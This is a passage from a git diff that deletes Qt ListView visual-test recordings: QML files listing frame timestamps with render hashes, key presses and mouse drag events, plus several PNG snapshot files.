} - Frame { - msec: 576 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } -} diff --git a/tests/auto/declarative/visual/ListView/data/basic2.qml b/tests/auto/declarative/visual/ListView/data/basic2.qml deleted file mode 100644 index 34ad5ed..0000000 --- a/tests/auto/declarative/visual/ListView/data/basic2.qml +++ /dev/null @@ -1,187 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 32 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 48 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 64 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 80 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 96 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 112 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 128 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 144 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 160 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 176 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 192 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 208 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 224 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 240 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 256 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 272 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 288 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 304 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 320 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 336 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 352 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 368 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 384 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 400 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 416 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 432 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 448 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 464 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 480 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 496 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 512 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 528 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 544 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 560 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 576 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 592 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 608 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 624 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 640 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 656 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 672 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 688 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } -} diff --git a/tests/auto/declarative/visual/ListView/data/basic3.qml b/tests/auto/declarative/visual/ListView/data/basic3.qml deleted file mode 100644 index 1c5ddb0..0000000 --- a/tests/auto/declarative/visual/ListView/data/basic3.qml +++ /dev/null @@ -1,147 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 32 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 48 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 64 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 80 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 96 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 112 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 128 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 144 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 160 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 176 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 192 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 208 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 224 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 240 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 256 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 272 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 288 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 304 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 320 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 336 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 352 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 368 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 384 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 400 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 416 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 432 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 448 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 464 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 480 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 496 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 512 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 528 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } -} diff --git a/tests/auto/declarative/visual/ListView/data/basic4.qml b/tests/auto/declarative/visual/ListView/data/basic4.qml deleted file mode 100644 index d121d91..0000000 --- a/tests/auto/declarative/visual/ListView/data/basic4.qml +++ /dev/null @@ -1,171 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 32 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 48 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 64 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 80 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 96 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 112 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 128 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 144 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 160 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 176 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 192 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 208 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 224 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 240 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 256 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 272 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 288 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 304 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 320 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 336 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 352 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 368 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 384 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 400 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 416 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 432 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 448 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 464 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 480 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 496 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 512 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 528 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 560 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 576 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 592 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 608 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 624 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } -} diff --git a/tests/auto/declarative/visual/ListView/data/itemlist.0.png b/tests/auto/declarative/visual/ListView/data/itemlist.0.png deleted file mode 100644 index a1947ca..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/itemlist.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/itemlist.1.png b/tests/auto/declarative/visual/ListView/data/itemlist.1.png deleted file mode 100644 index d27b7fa..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/itemlist.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/itemlist.2.png b/tests/auto/declarative/visual/ListView/data/itemlist.2.png deleted file mode 100644 index fdab8c6..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/itemlist.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/itemlist.3.png b/tests/auto/declarative/visual/ListView/data/itemlist.3.png deleted file mode 100644 index dc321a8..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/itemlist.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/itemlist.4.png b/tests/auto/declarative/visual/ListView/data/itemlist.4.png deleted file mode 100644 index fdab8c6..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/itemlist.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/itemlist.5.png b/tests/auto/declarative/visual/ListView/data/itemlist.5.png deleted file mode 100644 index 15b51cb..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/itemlist.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/itemlist.6.png b/tests/auto/declarative/visual/ListView/data/itemlist.6.png deleted file mode 100644 index a1947ca..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/itemlist.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/itemlist.qml b/tests/auto/declarative/visual/ListView/data/itemlist.qml deleted file mode 100644 index 073749f..0000000 --- a/tests/auto/declarative/visual/ListView/data/itemlist.qml +++ /dev/null @@ -1,2203 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 32 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 48 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 64 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 80 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 96 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 112 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 128 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 144 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 160 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 176 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 192 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 208 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 224 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 240 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 256 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 272 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 288 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 304 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 320 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 336 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 352 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 368 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 384 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 400 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 416 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 432 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 448 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 464 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 480 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 496 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 512 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 528 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 544 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 560 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 576 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 592 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 608 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 624 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 640 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 656 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 672 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 688 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 704 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 720 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 736 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 752 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 768 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 784 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 800 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 816 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 832 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 848 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 864 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 880 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 896 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 912 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 928 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 944 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 960 - image: "itemlist.0.png" - } - Frame { - msec: 976 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 992 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1008 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1024 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1040 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1056 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1072 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1088 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1104 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1120 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1136 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1152 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1168 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1184 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1200 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1216 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1232 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1248 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1264 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1280 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1296 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1312 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1328 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1344 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1360 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1376 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1392 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1408 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1424 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1440 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1456 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1472 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1488 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1504 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1520 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1536 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1552 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1568 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1584 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1600 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1616 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1632 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 1648 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 192; y: 111 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1664 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 191; y: 111 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1680 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 190; y: 112 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 187; y: 113 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1696 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 184; y: 113 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 180; y: 113 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1712 - hash: "a68b1bc6c2963ee92c3a45f500667b3b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 174; y: 114 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 167; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1728 - hash: "7cda93e59466b3348e7ffe3895f89e86" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1744 - hash: "06e0008c78e919f7270402938d9d764b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 140; y: 121 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 132; y: 122 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1760 - hash: "9d8da9199efebb95f56e5d4ebc9a585e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 114; y: 126 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 98; y: 132 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1776 - hash: "54a60a4279911ba4a8a5741bcadfa783" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 91; y: 132 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 91; y: 132 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1792 - hash: "a1a19370a1a8ed78e475f0d0eb12311c" - } - Frame { - msec: 1808 - hash: "196a3b127cf7065614c34856bf8d8bca" - } - Frame { - msec: 1824 - hash: "5fbefbd7c7be4374382cc4c8b86ac78a" - } - Frame { - msec: 1840 - hash: "d6a544c622e504c1b931e1a8a1310a6e" - } - Frame { - msec: 1856 - hash: "20e76f0eb4ec5f691999faf8ad313370" - } - Frame { - msec: 1872 - hash: "7f84a3545907c754ae8a6a30ef61c98d" - } - Frame { - msec: 1888 - hash: "b544901eae32903ad054e8cdfed715eb" - } - Frame { - msec: 1904 - hash: "a010ed1e3312f4ca9f429b7e32cdcef9" - } - Frame { - msec: 1920 - image: "itemlist.1.png" - } - Frame { - msec: 1936 - hash: "93a731dc6f71b6ff5400bf74c87e6c46" - } - Frame { - msec: 1952 - hash: "c73f63d1a024ba956e693487b3ccc761" - } - Frame { - msec: 1968 - hash: "539d3d00fce2d0128cd697d86d237fe7" - } - Frame { - msec: 1984 - hash: "52752d7d6f2d0e085f7132313907b72b" - } - Frame { - msec: 2000 - hash: "f46dd5803a6075e979e0fc733d503bfb" - } - Frame { - msec: 2016 - hash: "b8734698a6bad00ecf019f85328c2c21" - } - Frame { - msec: 2032 - hash: "1cfc499ca756023430cc5b2fa95a599d" - } - Frame { - msec: 2048 - hash: "63a816548837c19f8f0494c137fc0174" - } - Frame { - msec: 2064 - hash: "1bce9b85235e9a1a472c079dfec70ec5" - } - Frame { - msec: 2080 - hash: "6677863e7f74c12648409883f73adbe2" - } - Frame { - msec: 2096 - hash: "98e707a3e39a5f7bd4a101c2ed83535c" - } - Frame { - msec: 2112 - hash: "c1f6d8842d14a9394d4b7797314f50e8" - } - Frame { - msec: 2128 - hash: "579758b477bcd2112b305a5aac7df338" - } - Frame { - msec: 2144 - hash: "4a7bb81090db246db53e2dbc56f710ea" - } - Frame { - msec: 2160 - hash: "074995cdd8a70817d1c8a7bb0ad4c542" - } - Frame { - msec: 2176 - hash: "bd8d7bda4d2e9ad1fba2895d568f36cc" - } - Frame { - msec: 2192 - hash: "40cce3d2d80ac470af44fc334cec1d5b" - } - Frame { - msec: 2208 - hash: "15cbc226b032d5a97199735ea7a1408b" - } - Frame { - msec: 2224 - hash: "12b296aea9b058a5402d0d0a620f8edc" - } - Frame { - msec: 2240 - hash: "6ffd2b79cf0e941a59e74bc6f9025bcb" - } - Frame { - msec: 2256 - hash: "589a58ef76ea709dc8d80390c9044f99" - } - Frame { - msec: 2272 - hash: "c009924bfa30153f22ab168b539494e9" - } - Frame { - msec: 2288 - hash: "4b83674a7c2daa68d735901ad40be2bd" - } - Frame { - msec: 2304 - hash: "0525908c0302ada989e28990bac3f2ca" - } - Frame { - msec: 2320 - hash: "89eb13976ba3ba4413cafeb0cc91c01b" - } - Frame { - msec: 2336 - hash: "75c1295ef99680784b2e11fb88fa1423" - } - Frame { - msec: 2352 - hash: "93d89165cf6a97c76ae6e7f75678a3cd" - } - Frame { - msec: 2368 - hash: "53064c1938f08a55603a99b0db225174" - } - Frame { - msec: 2384 - hash: "31db5684466c0c32128a9a8c7b1835e1" - } - Frame { - msec: 2400 - hash: "99d9e58697736198e0a00443d237e85b" - } - Frame { - msec: 2416 - hash: "6c1e860aef983367365d53f5849ad441" - } - Frame { - msec: 2432 - hash: "6c1e860aef983367365d53f5849ad441" - } - Frame { - msec: 2448 - hash: "6c1e860aef983367365d53f5849ad441" - } - Frame { - msec: 2464 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2480 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2496 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2512 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2528 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2544 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2560 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2576 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2592 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2608 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2624 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2640 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2656 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2672 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2688 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2704 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2720 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2736 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2752 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2768 - hash: "99f9988040a389576cb6420b5391f768" - } - Frame { - msec: 2784 - hash: 